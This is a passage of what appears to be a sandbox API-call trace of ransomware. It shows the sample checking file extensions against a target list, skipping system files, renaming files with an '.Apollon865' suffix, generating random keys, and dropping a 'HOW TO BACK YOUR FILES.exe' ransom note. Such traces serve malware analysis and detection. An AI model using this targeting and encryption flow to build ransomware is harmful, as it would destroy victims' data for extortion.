	[0078.936] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0078.936] lstrlenW (lpString="usr") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0078.936] lstrlenW (lpString="v12") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0078.936] lstrlenW (lpString="vis") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0078.936] lstrlenW (lpString="vpd") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0078.936] lstrlenW (lpString="vvv") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0078.936] lstrlenW (lpString="wdb") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0078.936] lstrlenW (lpString="wmdb") returned 4
	[0078.936] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0078.936] lstrlenW (lpString="wrk") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0078.936] lstrlenW (lpString="xdb") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0078.936] lstrlenW (lpString="xld") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0078.936] lstrlenW (lpString="xmlff") returned 5
	[0078.936] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1
	[0078.936] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0078.936] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.936] lstrcmpiW (lpString1="Proof.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.936] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1
	[0078.937] lstrlenW (lpString="Proof.msi") returned 9
	[0078.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0078.937] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi"
	[0078.937] lstrlenW (lpString="Proof.msi") returned 9
	[0078.937] lstrlenW (lpString="Apollon865") returned 10
	[0078.937] lstrlenW (lpString=".dll") returned 4
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1
	[0078.937] lstrlenW (lpString=".lnk") returned 4
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1
	[0078.937] lstrlenW (lpString=".ini") returned 4
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1
	[0078.937] lstrlenW (lpString=".sys") returned 4
	[0078.937] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1
	[0078.937] lstrlenW (lpString="Proof.msi") returned 9
	[0078.937] lstrlenW (lpString="bak") returned 3
	[0078.937] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.937] lstrlenW (lpString="ba_") returned 3
	[0078.937] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.937] lstrlenW (lpString="dbb") returned 3
	[0078.937] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.937] lstrlenW (lpString="vmdk") returned 4
	[0078.937] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.937] lstrlenW (lpString="rar") returned 3
	[0078.937] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.937] lstrlenW (lpString="zip") returned 3
	[0078.937] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.938] lstrlenW (lpString="tgz") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.938] lstrlenW (lpString="vbox") returned 4
	[0078.938] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.938] lstrlenW (lpString="vdi") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.938] lstrlenW (lpString="vhd") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.938] lstrlenW (lpString="vhdx") returned 4
	[0078.938] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.938] lstrlenW (lpString="avhd") returned 4
	[0078.938] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.938] lstrlenW (lpString="db") returned 2
	[0078.938] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.938] lstrlenW (lpString="db2") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.938] lstrlenW (lpString="db3") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.938] lstrlenW (lpString="dbf") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.938] lstrlenW (lpString="mdf") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.938] lstrlenW (lpString="mdb") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.938] lstrlenW (lpString="sql") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.938] lstrlenW (lpString="sqlite") returned 6
	[0078.938] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1
	[0078.938] lstrlenW (lpString="sqlite3") returned 7
	[0078.938] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1
	[0078.938] lstrlenW (lpString="sqlitedb") returned 8
	[0078.938] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1
	[0078.938] lstrlenW (lpString="xml") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.938] lstrlenW (lpString="$er") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.938] lstrlenW (lpString="4dd") returned 3
	[0078.938] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.939] lstrlenW (lpString="4dl") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.939] lstrlenW (lpString="^^^") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.939] lstrlenW (lpString="abs") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.939] lstrlenW (lpString="abx") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.939] lstrlenW (lpString="accdb") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1
	[0078.939] lstrlenW (lpString="accdc") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1
	[0078.939] lstrlenW (lpString="accde") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1
	[0078.939] lstrlenW (lpString="accdr") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1
	[0078.939] lstrlenW (lpString="accdt") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1
	[0078.939] lstrlenW (lpString="accdw") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1
	[0078.939] lstrlenW (lpString="accft") returned 5
	[0078.939] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1
	[0078.939] lstrlenW (lpString="adb") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.939] lstrlenW (lpString="adb") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.939] lstrlenW (lpString="ade") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.939] lstrlenW (lpString="adf") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.939] lstrlenW (lpString="adn") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.939] lstrlenW (lpString="adp") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.939] lstrlenW (lpString="alf") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.939] lstrlenW (lpString="ask") returned 3
	[0078.939] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.940] lstrlenW (lpString="btr") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.940] lstrlenW (lpString="cat") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.940] lstrlenW (lpString="cdb") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.940] lstrlenW (lpString="ckp") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.940] lstrlenW (lpString="cma") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.940] lstrlenW (lpString="cpd") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.940] lstrlenW (lpString="dacpac") returned 6
	[0078.940] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1
	[0078.940] lstrlenW (lpString="dad") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.940] lstrlenW (lpString="dadiagrams") returned 10
	[0078.940] lstrlenW (lpString="daschema") returned 8
	[0078.940] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1
	[0078.940] lstrlenW (lpString="db-journal") returned 10
	[0078.940] lstrlenW (lpString="db-shm") returned 6
	[0078.940] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1
	[0078.940] lstrlenW (lpString="db-wal") returned 6
	[0078.940] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1
	[0078.940] lstrlenW (lpString="dbc") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.940] lstrlenW (lpString="dbs") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.940] lstrlenW (lpString="dbt") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.940] lstrlenW (lpString="dbv") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.940] lstrlenW (lpString="dbx") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.940] lstrlenW (lpString="dcb") returned 3
	[0078.940] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.941] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.941] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.941] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.941] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.941] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.941] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml"
	[0078.941] lstrlenW (lpString="Proof.xml") returned 9
	[0078.941] lstrlenW (lpString="Apollon865") returned 10
	[0078.941] lstrlenW (lpString=".dll") returned 4
	[0078.941] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1
	[0078.941] lstrlenW (lpString=".lnk") returned 4
	[0078.941] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1
	[0078.941] lstrlenW (lpString=".ini") returned 4
	[0078.941] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1
	[0078.941] lstrlenW (lpString=".sys") returned 4
	[0078.941] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1
	[0078.941] lstrlenW (lpString="Proof.xml") returned 9
	[0078.941] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Apollon865") returned 92
	[0078.941] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.946] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1457) returned 1
	[0078.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf810
	[0078.947] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfa30) returned 1
	[0078.948] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.948] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.948] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0xc0
	[0078.949] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000
	[0078.950] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfa30) returned 1
	[0078.950] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.951] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.951] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.951] CloseHandle (hObject=0xc0) returned 1
	[0078.951] CloseHandle (hObject=0x10c) returned 1
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.952] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0078.952] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.952] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0078.952] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en"
	[0078.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0078.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0078.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 71
	[0078.952] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en"
	[0078.952] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.952] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.956] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.956] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x472302d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x472302d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.956] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.956] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.956] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.956] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x472302d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x472302d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.956] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.956] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.956] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.956] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.956] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x472302d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x472302d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.956] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.956] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1
	[0078.956] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1
	[0078.957] lstrlenW (lpString="Proof.cab") returned 9
	[0078.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*") returned 73
	[0078.957] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab"
	[0078.957] lstrlenW (lpString="Proof.cab") returned 9
	[0078.957] lstrlenW (lpString="Apollon865") returned 10
	[0078.957] lstrlenW (lpString=".dll") returned 4
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1
	[0078.957] lstrlenW (lpString=".lnk") returned 4
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1
	[0078.957] lstrlenW (lpString=".ini") returned 4
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1
	[0078.957] lstrlenW (lpString=".sys") returned 4
	[0078.957] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1
	[0078.957] lstrlenW (lpString="Proof.cab") returned 9
	[0078.957] lstrlenW (lpString="bak") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.957] lstrlenW (lpString="ba_") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.957] lstrlenW (lpString="dbb") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.957] lstrlenW (lpString="vmdk") returned 4
	[0078.957] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.957] lstrlenW (lpString="rar") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.957] lstrlenW (lpString="zip") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.957] lstrlenW (lpString="tgz") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.957] lstrlenW (lpString="vbox") returned 4
	[0078.957] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.957] lstrlenW (lpString="vdi") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.957] lstrlenW (lpString="vhd") returned 3
	[0078.957] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.958] lstrlenW (lpString="vhdx") returned 4
	[0078.958] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.958] lstrlenW (lpString="avhd") returned 4
	[0078.958] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.958] lstrlenW (lpString="db") returned 2
	[0078.958] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.958] lstrlenW (lpString="db2") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.958] lstrlenW (lpString="db3") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.958] lstrlenW (lpString="dbf") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.958] lstrlenW (lpString="mdf") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.958] lstrlenW (lpString="mdb") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.958] lstrlenW (lpString="sql") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.958] lstrlenW (lpString="sqlite") returned 6
	[0078.958] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1
	[0078.958] lstrlenW (lpString="sqlite3") returned 7
	[0078.958] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1
	[0078.958] lstrlenW (lpString="sqlitedb") returned 8
	[0078.958] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1
	[0078.958] lstrlenW (lpString="xml") returned 3
